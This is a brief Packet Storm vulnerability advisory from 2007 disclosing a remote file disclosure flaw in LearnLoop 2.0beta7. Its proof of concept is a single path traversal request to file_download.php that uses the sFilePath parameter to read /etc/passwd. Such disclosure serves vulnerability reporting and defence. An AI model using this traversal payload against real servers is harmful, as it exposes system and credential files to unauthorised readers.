learnloop2-disclose.txt

2007-11-30T00:00:00
ID PACKETSTORM:61377
Type packetstorm
Reporter GolD_M
Modified 2007-11-30T00:00:00

Description

                                        
                                            `LearnLoop 2.0beta7 (sFilePath) Remote File Disclosure Vulnerability  
http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz  
POC : /include/file_download.php?sFilePath=../../../../../../../etc/passwd  
  
`